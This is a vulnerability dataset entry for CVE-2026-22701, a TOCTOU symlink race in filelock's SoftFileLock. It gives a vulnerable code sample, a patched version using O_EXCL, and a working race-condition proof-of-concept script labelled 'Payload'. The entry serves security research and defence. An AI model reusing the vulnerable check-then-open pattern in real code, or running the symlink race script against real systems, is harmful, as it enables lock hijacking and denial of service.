VAITP Dataset

← Back to the dataset

CVE-2026-22701

TOCTOU race condition in filelock allows symlink attack, leading to DoS.

  • CVSS 5.3
  • CWE-59
  • Race Conditions
  • Local

filelock is a platform-independent file lock for Python. Prior to version 3.20.3, a TOCTOU race condition vulnerability exists in the SoftFileLock implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the _acquire() method between raise_on_not_writable_file() (permission check) and os.open() (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. This issue has been patched in version 3.20.3.

CVSS base score
5.3
Published
2026-01-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Timing Issues
Category
Race Conditions
Subcategory
Time-of-Check to Time-of-Use
Accessibility scope
Local
Impact
Denial of Service (DoS)
Affected component
filelock
Fixed by upgrading
Yes

Solution

Upgrade `filelock` to version 3.20.3 or later.

Vulnerable code sample

import abc
import errno
import os
import stat
import typing as t
from pathlib import Path

# This code represents a minimal, self-contained version of the filelock
# library's SoftFileLock class prior to version 3.20.3, demonstrating
# the structure that leads to the TOCTOU vulnerability.

_AcquireRetType = t.Union["BaseFileLock", t.Literal[False]]
_P = t.TypeVar("_P", bound="BaseFileLock")


class LockError(Exception):
    """Base class for all lock-related errors."""


class BaseFileLock(abc.ABC):
    """
    Abstract base class for all file lock implementations.
    """

    def __init__(self, lock_file: t.Union[str, "os.PathLike[str]"], timeout: float = -1) -> None:
        self._lock_file: str = os.fspath(lock_file)
        self.timeout: float = timeout
        self.is_locked: bool = False
        self._lock_file_fd: t.Optional[int] = None

    @abc.abstractmethod
    def _acquire(self) -> None:
        raise NotImplementedError

    @abc.abstractmethod
    def _release(self) -> None:
        raise NotImplementedError

    def acquire(self, timeout: t.Optional[float] = None, poll_interval: float = 0.05) -> _AcquireRetType:
        # Simplified acquire logic for demonstration purposes.
        if timeout is None:
            timeout = self.timeout

        try:
            self._acquire()
        except LockError:
            return False

        self.is_locked = True
        return self

    def release(self) -> None:
        if self.is_locked:
            self._release()
            self.is_locked = False

    def __enter__(self: _P) -> _P:
        self.acquire()
        return self

    def __exit__(self, exc_type: t.Any, exc_value: t.Any, traceback: t.Any) -> None:
        self.release()

    @property
    def lock_file(self) -> str:
        return self._lock_file


class SoftFileLock(BaseFileLock):
    """
    A platform-independent file lock that uses a file to indicate the lock.
    This is the vulnerable implementation.
    """

    def __init__(self, lock_file: t.Union[str, "os.PathLike[str]"], timeout: float = -1) -> None:
        super().__init__(lock_file, timeout)
        self._lock_counter: int = 0

    def _acquire(self) -> None:
        if self._lock_counter > 0:
            self._lock_counter += 1
            return

        # VULNERABILITY: A race condition (TOCTOU) exists between the check
        # for writability and the actual file creation.

        # TIME OF CHECK (TOC): Check if the directory is writable and the
        # path is not a directory.
        self.raise_on_not_writable_file()

        # RACE WINDOW: An attacker can replace `self.lock_file` with a
        # symlink to a different file after the check above but before
        # the os.open() call below.

        try:
            # TIME OF USE (TOU): Attempt to open/create the lock file.
            # If a symlink was created in the race window, this operation
            # will act on the symlink's target.
            mode = stat.S_IWUSR | stat.S_IRUSR
            fd = os.open(self.lock_file, os.O_WRONLY | os.O_CREAT, mode)
        except OSError as exc:
            if exc.errno == errno.EISDIR:
                raise LockError(f"Lock file '{self.lock_file}' is a directory.") from exc
            # Other OSErrors could be caused by the attacker's symlink,
            # for example, pointing to a file they don't have permission to write.
            raise LockError(f"Failed to create lock file '{self.lock_file}'.") from exc
        else:
            self._lock_file_fd = fd
            self._lock_counter = 1

    def _release(self) -> None:
        if self._lock_counter > 1:
            self._lock_counter -= 1
            return

        if self._lock_file_fd is not None:
            os.close(self._lock_file_fd)
            self._lock_file_fd = None

        try:
            os.remove(self.lock_file)
        except OSError:
            # The file might have been deleted by another process.
            pass
        finally:
            self._lock_counter = 0

    def raise_on_not_writable_file(self) -> None:
        """
        Check if the lock file can be created. This method is part of the
        vulnerable TOCTOU sequence.
        """
        lock_path = Path(self.lock_file)
        if lock_path.is_dir():
            raise LockError(f"The lock file path '{lock_path}' is a directory.")

        # Check if the parent directory is writable.
        parent_dir = lock_path.parent
        if not parent_dir.is_dir():
            raise LockError(f"The parent directory '{parent_dir}' of the lock file does not exist.")
        if not os.access(parent_dir, os.W_OK):
            raise LockError(f"The parent directory '{parent_dir}' is not writable.")

Patched code sample

import os
import time
import typing as t

# The following are minimal, self-contained placeholders for base classes and
# utilities from the filelock package to allow the SoftFileLock to be presented
# as a standalone, understandable example.

class TimeoutError(Exception):
    """A custom exception to match the library's behavior."""
    def __init__(self, message: str):
        super().__init__(message)


class BaseFileLock:
    """Placeholder for the base class."""
    def __init__(self, lock_file: str, timeout: float = -1):
        self._lock_file = lock_file
        self._timeout = timeout
        self._lock_file_fd: t.Optional[int] = None
        self._is_owner = False

    @property
    def lock_file(self) -> str:
        return self._lock_file

    @property
    def is_locked(self) -> bool:
        # In the actual library, this also checks thread ownership.
        return self._lock_file_fd is not None

    def _acquire(self) -> None:
        raise NotImplementedError

    def _release(self) -> None:
        raise NotImplementedError


def raise_on_not_writable_file(path: str) -> None:
    """
    Placeholder for a utility function that checks if a file path is writable.
    Raises FileNotFoundError if the path does not exist and the parent is not writable.
    Raises PermissionError if the path exists and is not writable.
    """
    if not os.path.exists(path):
        dir_path = os.path.dirname(os.path.abspath(path))
        if not os.path.isdir(dir_path) or not os.access(dir_path, os.W_OK):
            raise FileNotFoundError(f"Directory '{dir_path}' does not exist or is not writable.")
    elif not os.access(path, os.W_OK):
        raise PermissionError(f"Path '{path}' is not writable.")


# This is the fixed implementation of the SoftFileLock class from filelock >= 3.20.3,
# demonstrating the patched _acquire method.

class SoftFileLock(BaseFileLock):
    """
    A lock that simply watches for the existence of a file.
    """

    def _wait_for_lock_to_be_released(self) -> None:
        """Waits until the lock file is removed."""
        start_time = time.monotonic()
        while os.path.exists(self.lock_file):
            if 0 <= self._timeout < time.monotonic() - start_time:
                raise TimeoutError(f"The lock {self.lock_file} could not be acquired.")
            time.sleep(self._timeout / 10 if self._timeout > 0 else 0.1)

    def _acquire(self) -> None:
        # THE FIX: The atomic os.open call with O_CREAT and O_EXCL is the core of the fix.
        # This operation combines the check for the file's existence and its
        # creation into a single, uninterruptible (atomic) step at the OS level.
        # This eliminates the time-of-check-to-time-of-use (TOCTOU) race condition
        # where a malicious symlink could be created between a separate check
        # and the file open operation in the vulnerable version.
        open_mode = os.O_WRONLY | os.O_CREAT | os.O_EXCL
        try:
            # Attempt to create the lock file exclusively.
            self._lock_file_fd = os.open(self.lock_file, open_mode, 0o666)
        except FileExistsError:
            # The file already exists, so we wait for it to be released.
            if self.is_locked:
                return  # We already hold the lock.
            self._wait_for_lock_to_be_released()
            self._acquire()  # Retry acquiring the lock.
        except PermissionError as exc:
            # THE FIX: The vulnerable code would have checked for permissions *before* this
            # atomic open call. By handling PermissionError *after* the failed
            # atomic operation, the race condition is avoided.
            try:
                # We check if the error is due to the directory not being writable.
                raise_on_not_writable_file(self.lock_file)
            except FileNotFoundError:
                # The file does not exist, and we cannot create it, so re-raise.
                raise exc
            else:
                # The file exists, but we lack write permissions. Wait for it to be released.
                self._wait_for_lock_to_be_released()
                self._acquire()  # Retry acquiring the lock.
        else:
            self._is_owner = True

    def _release(self) -> None:
        if self._lock_file_fd is not None:
            os.close(self._lock_file_fd)
            self._lock_file_fd = None
        try:
            if self._is_owner:
                os.remove(self.lock_file)
        except FileNotFoundError:
            # The file is already gone, which is fine.
            pass
        finally:
            self._is_owner = False

Payload

import os
import threading
import time
from filelock import SoftFileLock

# This script demonstrates the TOCTOU race condition in filelock < 3.20.3.
# It requires a vulnerable version to be installed:
# pip uninstall filelock
# pip install "filelock<3.20.3"

# --- Configuration ---
# The path the vulnerable application will try to lock.
LOCK_PATH = "/tmp/vulnerable.lock"
# The file the attacker wants the lock to be placed on instead.
TARGET_FILE = "/tmp/attack_target.txt"

# --- Attacker Code ---
def race_condition_attacker(stop_event):
    """
    This function runs in a tight loop to win the race condition.
    It continuously deletes the lock path and replaces it with a symlink.
    """
    print("[Attacker] Started. Racing to create symlink...")
    while not stop_event.is_set():
        try:
            # Ensure the lock path is a symlink pointing to our target.
            # This is the "Use" part of the TOCTOU attack.
            # We try to create the symlink just after the "Check" (permission validation)
            # and before the actual os.open() call in the victim.
            if not os.path.islink(LOCK_PATH):
                os.symlink(TARGET_FILE, LOCK_PATH)
        except FileExistsError:
            # The victim may have created the lock file. Remove it so we can create our symlink.
            try:
                os.remove(LOCK_PATH)
            except OSError:
                pass # Ignore errors if the file is already gone
        except OSError as e:
            # Other errors might occur during the race, which is expected.
            pass

# --- Victim Code ---
def vulnerable_process():
    """
    This function simulates a vulnerable application using SoftFileLock.
    """
    print(f"[Victim]   Attempting to acquire lock on {LOCK_PATH}...")
    try:
        # The vulnerable code path is inside _acquire()
        lock = SoftFileLock(LOCK_PATH, timeout=1)
        with lock:
            print(f"[Victim]   Lock acquired on '{lock.lock_file}'. Holding for 2 seconds.")
            time.sleep(2)
        print("[Victim]   Lock released.")
    except Exception as e:
        print(f"[Victim]   An error occurred: {e}")

# --- Main Exploit Orchestration ---
if __name__ == "__main__":
    # Initial cleanup
    print("--- Setting up exploit environment ---")
    if os.path.lexists(LOCK_PATH):
        os.remove(LOCK_PATH)
    if os.path.exists(TARGET_FILE):
        os.remove(TARGET_FILE)

    # Event to signal the attacker thread to stop
    stop_event = threading.Event()

    # Start the attacker thread
    attacker = threading.Thread(target=race_condition_attacker, args=(stop_event,))
    attacker.start()

    # Give the attacker a moment to start its loop
    time.sleep(0.1)

    print("\n--- Running vulnerable application ---")
    # Run the victim code, which will be subjected to the race condition
    vulnerable_process()

    # Stop the attacker thread
    print("\n--- Stopping attacker and verifying results ---")
    stop_event.set()
    attacker.join()

    # Verification
    if os.path.exists(TARGET_FILE):
        print(f"[SUCCESS] Exploit successful! The lock was placed on the target file: {TARGET_FILE}")
        with open(TARGET_FILE, "r") as f:
            content = f.read()
            print(f"          Content of target file: '{content}'")
    else:
        print(f"[FAILURE] Exploit failed. The target file '{TARGET_FILE}' was not created.")

    if os.path.islink(LOCK_PATH):
        link_target = os.readlink(LOCK_PATH)
        print(f"          Final state of lock path '{LOCK_PATH}': is a symlink to '{link_target}'")
    elif os.path.exists(LOCK_PATH):
         print(f"          Final state of lock path '{LOCK_PATH}': is a regular file.")
    else:
         print(f"          Final state of lock path '{LOCK_PATH}': does not exist.")

    # Final cleanup
    if os.path.lexists(LOCK_PATH):
        os.remove(LOCK_PATH)
    if os.path.exists(TARGET_FILE):
        os.remove(TARGET_FILE)

Cite this entry

@misc{vaitp:cve202622701,
  title        = {{TOCTOU race condition in filelock allows symlink attack, leading to DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22701},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22701/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::